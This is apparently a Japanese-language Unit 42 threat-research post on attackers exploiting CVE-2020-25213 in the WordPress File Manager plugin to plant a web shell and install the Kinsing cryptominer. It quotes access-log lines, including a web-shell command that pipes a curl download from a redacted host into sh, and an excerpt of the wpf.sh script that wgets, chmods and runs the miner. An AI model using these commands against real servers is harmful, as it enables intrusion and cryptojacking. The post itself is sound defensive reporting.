{"id":117012,"date":"2021-02-07T17:32:07","date_gmt":"2021-02-08T01:32:07","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=117012"},"modified":"2021-02-09T02:14:42","modified_gmt":"2021-02-09T10:14:42","slug":"cve-2020-25213","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/cve-2020-25213\/","title":{"rendered":"WordPress\u30d5\u30a1\u30a4\u30eb\u30de\u30cd\u30fc\u30b8\u30e3RCE\u8106\u5f31\u6027\uff08CVE-2020-25213\uff09\u306b\u5bfe\u3057\u3066\u5b9f\u969b\u306b\u898b\u3089\u308c\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8"},"content":{"rendered":"<h2><a id=\"post-116922-_1qvmtqg0untp\"><\/a>\u6982\u8981<\/h2>\n<p>2020\u5e7412\u6708\u3001Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-25213\">CVE-2020-25213<\/a>\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u540c\u8106\u5f31\u6027\u306fWordPress\u30d5\u30a1\u30a4\u30eb\u30de\u30cd\u30fc\u30b8\u30e3\u30d7\u30e9\u30b0\u30a4\u30f3\u306b\u5b58\u5728\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306e\u8106\u5f31\u6027\u3067\u3059\u3002\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306b\u6210\u529f\u3059\u308b\u3068\u3001\u653b\u6483\u8005\u304c\u4efb\u610f\u306e\u540d\u524d\u3068\u62e1\u5f35\u5b50\u3092\u6301\u3064\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u3001\u6a19\u7684\u3068\u306a\u3063\u305fWeb\u30b5\u30fc\u30d0\u30fc\u3067\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\uff08RCE\uff09\u304c\u53ef\u80fd\u3068\u306a\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u653b\u6483\u8005\u306f\u3053\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u4f7f\u3063\u3066Web\u30b7\u30a7\u30eb\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3001\u540c\u30b7\u30a7\u30eb\u3067<a href=\"https:\/\/blog.aquasec.com\/threat-alert-kinsing-malware-container-vulnerability\">Kinsing<\/a>\u3068\u3088\u3070\u308c\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3066\u3044\u307e\u3057\u305f\u3002Kinsing\u306f\u3001H2miner\u30d5\u30a1\u30df\u30ea\u306b\u5c5e\u3059\u308b\u60aa\u610f\u306e\u3042\u308b\u30af\u30ea\u30d7\u30c8\u30de\u30a4\u30ca\u30fc\uff08\u6697\u53f7\u901a\u8ca8\u30de\u30a4\u30ca\u30fc\uff09\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002Kinsing\u306fGolang\u30d7\u30ed\u30b0\u30e9\u30df\u30f3\u30b0\u8a00\u8a9e\u30d9\u30fc\u30b9\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3067\u3001\u305d\u306e\u6700\u7d42\u76ee\u7684\u306f\u30b3\u30f3\u30c6\u30ca\u74b0\u5883\u306b\u304a\u3051\u308b\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u653b\u6483\u3078\u306e\u5229\u7528\u3067\u3059\u3002\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u88fd\u54c1\u3092\u3054\u5229\u7528\u306e\u304a\u5ba2\u69d8\u306f\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/cortex\/cortex-xdr\">Cortex XDR<\/a>\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/cortex\/autofocus\">AutoFocus<\/a>\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/next-generation-firewall\">NGFW<\/a>\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/products\/secure-the-network\/wildfire\">WildFire<\/a>\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u306b\u3088\u308a\u3001CVE-2020-25213\u3068Kinsing\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-116922-_44thkqb4o6c4\"><\/a>CVE-2020-2513\u3068Web\u30b7\u30a7\u30eb<\/h2>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306f\u3001WordPress\u30d5\u30a1\u30a4\u30eb\u30de\u30cd\u30fc\u30b8\u30e3\u30d7\u30e9\u30b0\u30a4\u30f3\u304c\u3001elFinder\u30e9\u30a4\u30d6\u30e9\u30ea\u306e<span style=\"font-family: 'courier new', courier, monospace;\">Connector.minimal.php.dist<\/span>\u30d5\u30a1\u30a4\u30eb\u306e\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u3092<span style=\"font-family: 'courier new', courier, monospace;\">.php<\/span>\u306b\u30ea\u30cd\u30fc\u30e0\u3057\u305f\u3053\u3068\u306b\u8d77\u56e0\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30ea\u30cd\u30fc\u30e0\u306b\u3088\u308a\u540c\u30d5\u30a1\u30a4\u30eb\u306f\u76f4\u63a5\u306e\u5b9f\u884c\u304c\u53ef\u80fd\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u306f\u30a2\u30af\u30bb\u30b9\u5236\u9650\u304c\u306a\u3044\u305f\u3081\u3001Web\u30b5\u30fc\u30d0\u30fc\u3092\u95b2\u89a7\u3057\u3066\u3044\u308b\u4eba\u3067\u3042\u308c\u3070\u8ab0\u3067\u3082\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u306f\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u30d5\u30a1\u30a4\u30eb\u3092Web\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u30e1\u30ab\u30cb\u30ba\u30e0\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u4e0d\u5177\u5408\u304c\u539f\u56e0\u3067\u3001\u8ab0\u3067\u3082\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3067\u304d\u308b\u305f\u3081\u3001\u60aa\u610f\u306e\u3042\u308b\u653b\u6483\u8005\u306f\u3001\u540c\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u653b\u6483\u3068Web\u30b7\u30a7\u30eb\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3092\u958b\u59cb\u3057\u307e\u3057\u305f\u3002\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u305fweb\u30b7\u30a7\u30eb\u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u3084\u30af\u30ea\u30d7\u30c8\u30de\u30a4\u30ca\u30fc\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u306a\u3069\u3001\u3055\u3089\u306a\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u4f7f\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-116922-_66c93i24i7zc\"><\/a>\u89b3\u6e2c\u3055\u308c\u305f\u653b\u6483\u30c1\u30a7\u30fc\u30f3<\/h2>\n<p>\u79c1\u305f\u3061\u306f\u3001\u653b\u6483\u3055\u308c\u305f\u30de\u30b7\u30f3\u306e\u30a2\u30af\u30bb\u30b9\u30ed\u30b0\u304b\u3089\u8abf\u67fb\u3092\u59cb\u3081\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u306e\u6ce8\u610f\u3092\u5f15\u3044\u305f\u306e\u306f\u3001\u6b21\u306eWeb\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u6b21\u306eHTTP POST\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u3057\u305f\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">[19\/Dec\/2020:08:58:08 +0000] \"POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/connector.minimal.php HTTP\/1.1\" 200 1453 \"-\" \"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/78.0.3904.108 Safari\/537.36\"<\/span><\/p>\n<p>\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306f\u3001Web\u30b7\u30a7\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u30ed\u30b0\u3092\u3055\u3089\u306b\u8abf\u3079\u308b\u3068\u3001\u539f\u56e0\u3068\u306a\u3063\u305fWeb\u30b7\u30a7\u30eb\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">[19\/Dec\/2020:08:57:48 +0000] \"GET \/wp-content\/plugins\/wp-file-manager\/lib\/files\/k.php?cmd=curl+X.X.X.X%2Fwpf.sh%7Csh HTTP\/1.1\" 200 411<\/span><\/p>\n<p>\u4e0a\u8a18\u304b\u3089\u308f\u304b\u308b\u3068\u304a\u308a\u3001\u3053\u306eWeb\u30b7\u30a7\u30eb\u306f<span style=\"font-family: 'courier new', courier, monospace;\">k.php<\/span>\u3068\u3044\u3046\u540d\u524d\u3067\u3001\u3053\u308c\u306b\u5bfe\u3057\u3066\u5b9f\u884c\u3059\u3079\u304d\u30b3\u30de\u30f3\u30c9\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002Web\u30b7\u30a7\u30eb\u81ea\u4f53\u306f\u3001Web\u30b5\u30fc\u30d0\u30fc\u4e0a\u306b\u30d7\u30ec\u30fc\u30f3\u30c6\u30ad\u30b9\u30c8\u3068\u3057\u3066\u4fdd\u5b58\u3055\u308c\u3066\u304a\u308a\u3001\u96e3\u8aad\u5316\u3082\u8a8d\u8a3c\u624b\u6bb5\u3082\u306a\u3044\u975e\u5e38\u306b\u30b7\u30f3\u30d7\u30eb\u306a\u3082\u306e\u3067\u3057\u305f\u3002<\/p>\n<p><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2021\/02\/php-code-screenshot-1.png\" rel=\"wpdevart_lightbox\"><img  class=\"aligncenter size-full wp-image-117016 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2021\/02\/php-code-screenshot-1.png\" alt=\"PHP screenshot \" width=\"922\" height=\"22\" \/><\/a><br \/>\nWeb\u30b7\u30a7\u30eb<span style=\"font-family: 'courier new', courier, monospace;\">k.php<\/span>\u306b\u767a\u884c\u3055\u308c\u305fHTTP GET\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u3055\u3089\u306b\u8abf\u3079\u305f\u3068\u3053\u308d\u3001\u5358\u306b<span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span>\u30b3\u30de\u30f3\u30c9\u3092\u547c\u3073\u51fa\u3057\u3001<span style=\"font-family: 'courier new', courier, monospace;\">wpf.sh<\/span>\u3068\u3044\u3046\u540d\u524d\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3001\u305d\u308c\u3092\u5b9f\u884c\u3057\u305f\u3060\u3051\u3067\u3042\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u306f\u3001\u653b\u6483\u8005\u306e\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\uff08C2\uff09\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30b7\u30a7\u30eb\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5165\u624b\u3057\u307e\u3057\u305f\u3002\u30d5\u30a1\u30a4\u30eb\u306e\u6982\u8981\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">\u2026<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">$WGET $DIR\/kinsing http:\/\/X.X.X.X\/kinsing<\/span> <span style=\"font-family: 'courier new', courier, monospace;\">chmod +x $DIR\/kinsing<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">\u2026<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">SKL=wpf $DIR\/kinsing<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">\u2026<\/span><\/p>\n<p>\u3053\u306e\u30d5\u30a1\u30a4\u30eb<span style=\"font-family: 'courier new', courier, monospace;\">wpf.sh<\/span> \u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">wget<\/span>\u3092\u4f7f\u3063\u3066Kinsing\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u5b9f\u884c\u6a29\u9650\u3092\u4ed8\u4e0e\u3057\u3066\u5b9f\u884c\u3092\u7d9a\u884c\u3059\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u3059\u3002<\/p>\n<h2><a id=\"post-116922-_95q7dibtdcmn\"><\/a>\u7d50\u8ad6<\/h2>\n<p>WordPress\u30d5\u30a1\u30a4\u30eb\u30de\u30cd\u30fc\u30b8\u30e3\u306eRCE\u8106\u5f31\u6027CVE-2020-25213\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u5b9f\u969b\u306b\u4f7f\u308f\u308c\u3066\u3044\u308b\u69d8\u5b50\u304c\u3042\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u653b\u6483\u8005\u306f\u3053\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u4f7f\u7528\u3057\u3066Web\u30b7\u30a7\u30eb\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3001Kinsing\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3001H2miner\u30d5\u30a1\u30df\u30ea\u306e\u60aa\u610f\u306e\u3042\u308b\u30af\u30ea\u30d7\u30c8\u30de\u30a4\u30ca\u30fc\u3092\u5b9f\u884c\u3057\u3066\u3044\u307e\u3057\u305f\u3002Kinsing\u306e\u6700\u7d42\u76ee\u7684\u306f\u30b3\u30f3\u30c6\u30ca\u74b0\u5883\u306b\u304a\u3051\u308b\u30af\u30ea\u30d7\u30c8\u30b8\u30e3\u30c3\u30af\u653b\u6483\u3078\u306e\u5229\u7528\u3067\u3059\u3002\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u306e\u65b9\u6cd5\u3067CVE-2020-25213\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>Linux Cortex XDR\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306f\u3053\u306e\u653b\u6483\u3092\u30d6\u30ed\u30c3\u30af\u3057\u307e\u3059\u3002Web\u30b7\u30a7\u30eb\u306f\u3001\u6a5f\u68b0\u5b66\u7fd2\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u642d\u8f09\u3057\u305f\u30ed\u30fc\u30ab\u30eb\u8105\u5a01\u8a55\u4fa1\u30a8\u30f3\u30b8\u30f3\u306b\u3088\u308a\u691c\u51fa\u3055\u308c\u307e\u3059\u3002<\/li>\n<li>\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306fNGFW\u306eWildFire\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u306b\u3088\u308a\u300cmalicious\uff08\u60aa\u610f\u304c\u3042\u308b\uff09\u300d\u3068\u5224\u5b9a\u3055\u308c\u307e\u3059\u3002<\/li>\n<li>Cortex XDR Behavioral Threat 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